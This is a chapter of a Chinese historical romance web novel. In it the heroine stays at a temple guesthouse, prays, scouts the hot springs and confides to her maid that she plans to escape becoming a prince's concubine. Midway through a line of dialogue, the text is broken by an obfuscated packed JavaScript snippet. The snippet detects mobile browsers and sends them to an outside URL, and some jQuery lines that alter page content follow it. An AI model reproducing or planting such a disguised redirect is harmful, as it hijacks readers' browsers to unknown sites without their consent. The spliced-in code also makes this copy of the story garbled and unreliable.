6. 入寺

作品:《杳杳玄音

    季希音三人绕过影壁,便见一穿着浆洗得泛白衣裳却收拾齐整的妇人迎上前,笑着略显笨拙的鞠了一躬:


    “这位小娘子,民妇姓李,您可以唤我李三娘。院中这两日女客不多,我观娘子只有主仆三人,您看院落的安排?”


    季希音:“院落不用太大,我不喜热闹,暂住几日而已,安排个靠里安静的院落吧。”


    季希音的声音天生软糯甜美,此刻听在李三娘耳朵里犹如天籁。


    “成,三位请随我来。”


    穿过回廊,来到正院,李三娘放慢脚步解释道:“正院正房最大,还有左右两间厢房,目前已有贵客居住。”


    似是想到什么又补充道:“民妇建议小娘子无事避开正院,那贵客带着仆妇一大群,看着不是好打交道的主。东跨院已经住了两户人家,小娘子既然喜静,我便带你们住西跨院。”


    季希音颔首:“谢谢李三娘,如这几日有不便的地方还请多提醒。”


    春念很有眼色的上前一步,自袖中摸出几个大钱塞到李三娘手中,笑着说:“麻烦三娘子处还多着呢,几个大钱留着给家中孩子们买些零嘴。”


    李三娘当即笑开了,装作不好意思:“哪是麻烦,都是民妇的本分。”


    春念这时候就发挥起大丫鬟察言观色的本事,与李三娘好一通熟络。


    寺庙的客院再大也大不到哪里去。


    半炷香后几人来到一个单独的小月亮门前,门上还落着锁,李三娘自袖中摸出一个红色荷包,又从荷包中翻出一串钥匙,边开锁边说着:


    “除了我,还有一位和我一般的民妇在院里做活,都唤张大娘,今日她在后房带着两个小丫头浣洗衣物,另还有烧水婆子负责烧热水,热水每日辰时和戌时免费供应,其余时间需热水要看她在不在或者到前院找我,我帮你们去烧也行。”


    刚才来的路上李三娘也讲了,内院并没有单独设厨房,每日午时和酉时可到院中膳房领取饭食,如需送进来也只能送到前院,守前院的婆子接了饭食再送进来,然后不好意思的笑笑,这样送餐需要一个大钱的跑腿费。


    季希音颔首,李三娘退后半步,示意几人先进。


    寒冬时节,小院似许久没人住了,静谧而清冷,四周围着青砖矮墙,墙头覆着一层薄薄的白雪,仿佛为这方寸天地披上了一件素雅的纱衣。


    院子正中,一棵上了年头的红梅傲然挺立,在寒风中微微颤动,映衬着灰蒙蒙的天色。


    季希音很满意这处院子,一行人自是选了正房入住,因三个女子在外,季希音示意三人一房即可,晚间她睡内室,两个丫鬟睡外间榻上。


    春念负责铺床扫洒房间,夏想跟随李三娘去膳房取饭食。


    季希音来到院中看着慢悠悠飘落的梅花,伸出如瓷般的手接住,忽地起了一阵风,她望着掌心的花瓣被风卷起,很快飞向天空消失不见。


    季希音歇了个午觉,趁着天色还早,打算带着春念和夏想四处逛逛。


    刚穿过客院的月亮门,就见护卫张东守在这里,看到她们三人,上前抱拳行礼:“姑娘是想外出吗?”


    这种时候,自然无需季希音开口,春念接话:“到了寺院自然是要去拜佛的,姑娘打算从前面一路往里拜,想来寺院里也安全的很,你就不用跟了,我们拜完自然会回来。”


    不知怎的,春念对侍卫守在门口去哪里都要管的行为莫名不喜,但想着恐是世子爷太过关心姑娘,又能释然了些。


    张东自然不敢放她们独自去,但春念嫌弃他面部僵硬不苟言笑,只准他远远的跟在后面,免得佛祖看了他的脸都不理她们了。


    客院与前面殿宇之间的小花园里,各色山茶花竞相争放,为静谧的庭院增添了几分热烈与活力,也仿佛将前殿的喧嚣声隔绝在另一个世界。


    众人沿着来路往前方殿宇去,此时已申时过半,香客少了许多。


    来到第一座殿宇天王殿,一一虔诚拜过后,又来到正殿,也是供奉有过去、现在、未来三尊佛像的大雄宝殿。


    灵泉寺据说已有三百多年历史,历经几朝几代,现今的大雄宝殿是在太祖时重建,殿内庄严肃穆,进来祈福的香客无不自觉的压低说话和走动的声响。


    迈过门槛,正中央供奉的是佛祖的金身塑像,佛像高大巍峨,面容慈祥而庄严,双目微垂,仿佛在俯视众生,透露出无尽的智慧与慈悲。


    借着四周的烛光环视一圈,四周墙壁上,绘有精美的佛教壁画,壁画色彩鲜艳,人物栩栩如生,仿佛在诉说着佛法的博大精深。


    香炉中香烟袅袅升起,季希音不自觉的心生敬畏。


    她虔诚地跪下,双手合十,低垂着眼眸在心里默默祈祷。


    民女季希音,如今深陷困境,内心终日惶惶,同民女往日所持之信念与心之所向背道而驰。


    故民女祈求佛祖保佑,让民女能得偿所愿,顺利脱此牢笼,日后民女定多做善事,尽我所能帮助世间需要帮助的良善女子。


    季希音默念了三遍,方睁开眼睛,夏想手持三炷香递给她,她恭敬的跪拜上香。


    春念:“姑娘,我已按照你的吩咐捐了香油钱,听说灵泉寺很灵,定会保佑姑娘心愿达成。”


    季希音听后更加坚定了信心,带着两人依次跪拜每个殿宇。


    待走完最后一殿,已经酉时,便跟着晌午已经熟悉路线的夏想来到膳堂用饭。


    人不多,素菜做的也很精致。


    护卫张东和孙远也在膳堂用过饭,正喝着寺里的粗茶。


    季希音环顾一圈,心思一转:“春念,你去找张东,一会我打算去逛逛后山的温泉池,担心天色黑了不好走,叫他们多寻几盏灯笼来,此处离后山不远,我们在后山口汇合。”


    “好的姑娘,那我先去了,一会来找你们。”说罢,春念站起身先一步离开。


    季希音和夏想又坐了会,算着时间差不多,方往后山走去。


    路上又寻了小僧指路,才在一炷香后找到后山的路口。


    两名护卫和春念已经在这里等候,各提了一盏灯笼备用。


    春念迎上前来解释说:“姑娘,我打听清楚了,路口


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221253|181528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    往上约百米,就会有一个院门,整个泡汤区域都是围起来的,外围也有僧侣巡视。院门有人看守,会分发号码牌,都是隔开的池子,男女宾分在左右两侧,你今晚是想泡汤的话,我还得折回去取些换洗衣物。”


    季希音摇摇头:“今晚我只想看看环境是否安全,毕竟我从未在外面泡过温泉,还是谨慎些好。”


    春念跟着点点头,夏想凑上前嬉笑着问:“那姑娘是打算明天来泡吗?我倒是想试试!”


    没说几句话,已经走到路口,护卫张东和孙亮抱拳行礼。


    几人院门口说明来意,便有一仆妇带着季希音三人到女客那边汤池转了一圈,每间都是单独隔开,十分隐蔽。


    返回门口,两名护卫还在守着。


    季希音:“这几日有劳两位,我刚问过这里温泉极好,近日赶路也乏了,明日晚饭后我请两位也到男客那边泡泡解解乏。”


    两名护卫对视一眼,张东道:“多谢姑娘美意,只是属下听从砚总管吩咐保护好姑娘,姑娘安排好自己就行。”


    季希音也知晓世子对属下虽然看似温和,但纪律很严厉,便不再坚持。


    内心却在琢磨,他们不愿泡汤的话,看来得再想个主意。


    晚间,季希音借口睡不着,让春念来陪她一起。


    春念抱着被子过来,季希音往里挪了挪方便她躺上来,两个人像小时候一样挨着。


    季希音拉过被子:“春念,接下来我有事跟你讲,你可别惊讶出声,先听我讲完。”


    春念不知何事,但觉得姑娘这么郑重,肯定是要事,赶紧点了点头。


    季希音无奈先叹了口气:“春念,我想了好些日子,我不想去王府,更不想去做侍妾。”


    春念瞪大了眼睛刚想出声又赶紧捂住嘴巴,猛点头示意她继续说。


    季希音翻个身,望着帐顶,出神地道:“即便世子爷再好,也不是我想要的人生,进了王府当了侍妾,可能一辈子就踏不出来了。”


    空灵的声音响起:“作为侍妾得听主母的,做错了事有主母管,即便不争不抢人家看你不顺眼一样可以罚你,甚至打你骂你卖了你你都得受着。更何况,我跟随父母去过那么多地方,见过了天地的广阔,我怎么甘心就此困于内宅,春念,你懂吗?”


    半晌没有回答,季希音转头看过去,没想到春念已经泪流满面忍着,压抑地哽咽道:“我就知道,姑娘心里是不愿的,只是我以前听老爷夫人的,后来听姑娘的,我想不出办法帮姑娘,只能不停的安慰姑娘安慰自己认了命。呜呜呜!”


    泣不成声的春念一把抱住她,主仆两抱着小声地啜泣。


    过了一会,两人都缓过来些,春念深吸了两口气说:“姑娘想要怎么做我都听姑娘的安排。”


    季希音抚摸了一下春念的头发,说道:“首先,我们的计划没必要跟夏想讲,她藏不住事,另外就是得尽快,砚平走的时候说的三五日,我们明晚或者后晚就得离开。我是这样想的,你听我说。”


    两人在被窝里絮絮说了大半夜话,快丑时方才睡着。